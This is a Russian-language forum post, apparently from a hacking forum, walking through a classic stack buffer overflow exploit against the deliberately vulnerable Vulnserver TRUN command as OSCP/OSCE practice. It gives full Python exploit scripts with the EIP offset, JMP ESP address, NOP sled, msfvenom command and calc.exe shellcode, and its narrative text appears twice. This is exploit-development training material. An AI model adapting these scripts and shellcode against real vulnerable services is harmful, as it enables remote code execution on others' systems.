Пожалуйста, обратите внимание, что пользователь заблокирован
Привет дамага!!! Сегодня в период пандемии мы живем в не простое время. Сидя дома на самоизоляции порой можно сойти сума... А можно провести время с пользой. И занять себя чем-то полезным. Меня довольно таки часто спрашивают как начать ? Ответ просто с практики. Можно начать с тренировочных программ и с примеров по типу Gera Secure Programming. Или же можно начать участвовать в CTF и решать различные таски из категории PWN. Но, если не хочется участвовать в цтфах и пывнить тренировочные программы. Можно начать с более абстрактных вещей. С программ под Windows.
На github есть замечательный репазиторий со список уязвимых программ, которые нужно отпывнить. Совокупность отпывненных программ помогают подготовиться к OSCP\OSCE. А именно получить тот бекграунд который нужен для Exploit-Development'а. Кстати говоря, некоторые завалили экзамен, по той причине, что не смогли разобраться в данной теме. Я думаю, что ты %username% не из таких. Ведь правда? И ты готов дать бой.
Вот сам репазиторий, который поможет в подготовке для OSCP\OSCE
github.com
Пользоваться им достаточно просто. К примеру берем из списка Vulnserver TRUN vanilla EIP overflow и начинаем пывнить.
Вот сам процесс как это все происходит... Примерно так...
P.s. Делал всё на коленке поэтому - зиродеев тут нет (с)
Подготовка
Скачиваем уязвимую программу https://github.com/stephenbradshaw/vulnserver
Ставим отладчик https://www.immunityinc.com/products/debugger/
Качаем плагин для отладчика https://github.com/corelan/mona
Копируем плагин в папку PyCommands
прим. Тестирование проводилось на Windows 10
Открываем vulnserver под отладчиком и запускаем
Далее пишем в строке команд отладчика !mona для вывода всех команд
Настраиваем рабочую папку для плагина
План действий у нас будет такой
Пишем в строке команду
Дальше переходим в рабочую папку
Будем использовать строку в формате ASCII. Теперь напишем основу нашего эксплойта.
Запускаем программу на выполнение в отладчике и запускаем наш эксплойт и смотрим в окно регистров, хватило ли длины созданного с вами нам паттерна для перезаписи регистра EIP.
Выполнение программы остановилось. А значит нашей строки — созданного паттерна его длины хватило. Мы уже контролируем EIP. И перезаписали его.
Offset EIP
Теперь когда мы перезаписали EIP. Нам надо вычислить смещение до EIP. Копируем текущее значение из EIP — 396F4338. И пишем в строке команд !mona po 396F4338 для того чтобы вычислить смещение…
Смещение до EIP = 2006, а следующие 4 байта перезапишут его. Проверяем. Модифицируем наш эксплойт.
Затем нажимаем в отладчике ctrl+f2(перезапуск программы под отладчиком) и потом f9(запуск программы в отладчике) после чего запускаем наш эксплойт.
Как видно нам это удалось. Переходим к следующему шагу.
JMP ESP (ret2reg)
Поскольку использование хардкод адресов, является плохим тоном, мы будем использовать более гибкий метод — ret2reg. Это некая попытка уйти от статических адресов (хардкод адресов). Пишем в строке команд отладчика
Кликаем и переходим… Адрес нужной инструкции мы нашли
Этот адрес мы добавим в наш эксплойт
Теперь перейдем к двум последним пунктам. Nops-sleds и shellcode
Nop-Sleds
Shellcode
Ну а сам шеллкод мы сгенерирум в метасплойте…
Собираем все вместе…
Запускаем эксплойт
Запывнили? Хорошо... Теперь FreeFloat FTP Server vanilla EIP overflow
Вот в таком духе набиваем рукупока глаз не начнет дергаться до полного понимая. Надеюсь вам поможет эта мини статья в получении заветного OSCP\OSCP. А возможно именно ты %username% даже сможешь сдать AWE (OSEE).
p.p.s. Так же буду рад вашим врайтапам любого софта)
Специально для xss.pro (c)
На github есть замечательный репазиторий со список уязвимых программ, которые нужно отпывнить. Совокупность отпывненных программ помогают подготовиться к OSCP\OSCE. А именно получить тот бекграунд который нужен для Exploit-Development'а. Кстати говоря, некоторые завалили экзамен, по той причине, что не смогли разобраться в данной теме. Я думаю, что ты %username% не из таких. Ведь правда? И ты готов дать бой.
Вот сам репазиторий, который поможет в подготовке для OSCP\OSCE
FULLSHADE/OSCE
Developed proof-of-concept exploits for various types of vulnerabilities and mitigation bypasses with user-mode Windows applications, New CVE's produced via this repo: CVE-2019-16724, CVE-2019-...
Пользоваться им достаточно просто. К примеру берем из списка Vulnserver TRUN vanilla EIP overflow и начинаем пывнить.
Вот сам процесс как это все происходит... Примерно так...
P.s. Делал всё на коленке поэтому - зиродеев тут нет (с)
Подготовка
Скачиваем уязвимую программу https://github.com/stephenbradshaw/vulnserver
Ставим отладчик https://www.immunityinc.com/products/debugger/
Качаем плагин для отладчика https://github.com/corelan/mona
Копируем плагин в папку PyCommands
прим. Тестирование проводилось на Windows 10
Открываем vulnserver под отладчиком и запускаем
Далее пишем в строке команд отладчика !mona для вывода всех команд
Настраиваем рабочую папку для плагина
!mona config -set workingfolder c:\logs\%pПлан действий у нас будет такой
- Перезапись EIP
- offset EIP
- jmp ESP (ret2reg)
- NOPs-sleds
- Shellcode
Пишем в строке команду
!mona pc 2500
Дальше переходим в рабочую папку
C:\logs и смотрим содержимое файла pattern.txt в нем содержится патерн, который мы только что создали.
Будем использовать строку в формате ASCII. Теперь напишем основу нашего эксплойта.
Python:
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# overwrite eip
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Запускаем программу на выполнение в отладчике и запускаем наш эксплойт и смотрим в окно регистров, хватило ли длины созданного с вами нам паттерна для перезаписи регистра EIP.
Выполнение программы остановилось. А значит нашей строки — созданного паттерна его длины хватило. Мы уже контролируем EIP. И перезаписали его.
Offset EIP
Теперь когда мы перезаписали EIP. Нам надо вычислить смещение до EIP. Копируем текущее значение из EIP — 396F4338. И пишем в строке команд !mona po 396F4338 для того чтобы вычислить смещение…
Смещение до EIP = 2006, а следующие 4 байта перезапишут его. Проверяем. Модифицируем наш эксплойт.
Python:
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# offset eip
buf += "A"*2006
#EIP
buf += "BBBB"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Затем нажимаем в отладчике ctrl+f2(перезапуск программы под отладчиком) и потом f9(запуск программы в отладчике) после чего запускаем наш эксплойт.
Как видно нам это удалось. Переходим к следующему шагу.
JMP ESP (ret2reg)
Поскольку использование хардкод адресов, является плохим тоном, мы будем использовать более гибкий метод — ret2reg. Это некая попытка уйти от статических адресов (хардкод адресов). Пишем в строке команд отладчика
!mona jmp -r ESP чтобы найти адрес нужной нам инструкции
Кликаем и переходим… Адрес нужной инструкции мы нашли
Код:
0x625011AF FFE4 JMP ESP
Этот адрес мы добавим в наш эксплойт
Python:
jmp_esp = "\xAF\x11\x50\x62"
Теперь перейдем к двум последним пунктам. Nops-sleds и shellcode
Nop-Sleds
Код:
buf += ‘\x90’*50
Shellcode
Ну а сам шеллкод мы сгенерирум в метасплойте…
Код:
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00'
Собираем все вместе…
Python:
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# offset eip
buf += "A"*2006
# EIP = address jump ESP (ret2reg)
buf += "\xAF\x11\x50\x62"
# NOP-Sleds
buf += '\x90'*50
# shellcode calc
buf += "\xdb\xd2\xb8\xf4\x29\xc9\x4f\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x31\x31\x42\x18\x83\xc2\x04\x03\x42\xe0\xcb"
buf += "\x3c\xb3\xe0\x8e\xbf\x4c\xf0\xee\x36\xa9\xc1\x2e\x2c"
buf += "\xb9\x71\x9f\x26\xef\x7d\x54\x6a\x04\xf6\x18\xa3\x2b"
buf += "\xbf\x97\x95\x02\x40\x8b\xe6\x05\xc2\xd6\x3a\xe6\xfb"
buf += "\x18\x4f\xe7\x3c\x44\xa2\xb5\x95\x02\x11\x2a\x92\x5f"
buf += "\xaa\xc1\xe8\x4e\xaa\x36\xb8\x71\x9b\xe8\xb3\x2b\x3b"
buf += "\x0a\x10\x40\x72\x14\x75\x6d\xcc\xaf\x4d\x19\xcf\x79"
buf += "\x9c\xe2\x7c\x44\x11\x11\x7c\x80\x95\xca\x0b\xf8\xe6"
buf += "\x77\x0c\x3f\x95\xa3\x99\xa4\x3d\x27\x39\x01\xbc\xe4"
buf += "\xdc\xc2\xb2\x41\xaa\x8d\xd6\x54\x7f\xa6\xe2\xdd\x7e"
buf += "\x69\x63\xa5\xa4\xad\x28\x7d\xc4\xf4\x94\xd0\xf9\xe7"
buf += "\x77\x8c\x5f\x63\x95\xd9\xed\x2e\xf3\x1c\x63\x55\xb1"
buf += "\x1f\x7b\x56\xe5\x77\x4a\xdd\x6a\x0f\x53\x34\xcf\xef"
buf += "\xb1\x9d\x25\x98\x6f\x74\x84\xc5\x8f\xa2\xca\xf3\x13"
buf += "\x47\xb2\x07\x0b\x22\xb7\x4c\x8b\xde\xc5\xdd\x7e\xe1"
buf += "\x7a\xdd\xaa\x82\x1d\x4d\x36\x6b\xb8\xf5\xdd\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Запускаем эксплойт
Запывнили? Хорошо... Теперь FreeFloat FTP Server vanilla EIP overflow
Вот в таком духе набиваем руку
p.p.s. Так же буду рад вашим врайтапам любого софта)
Специально для xss.pro (c)
Последнее редактирование: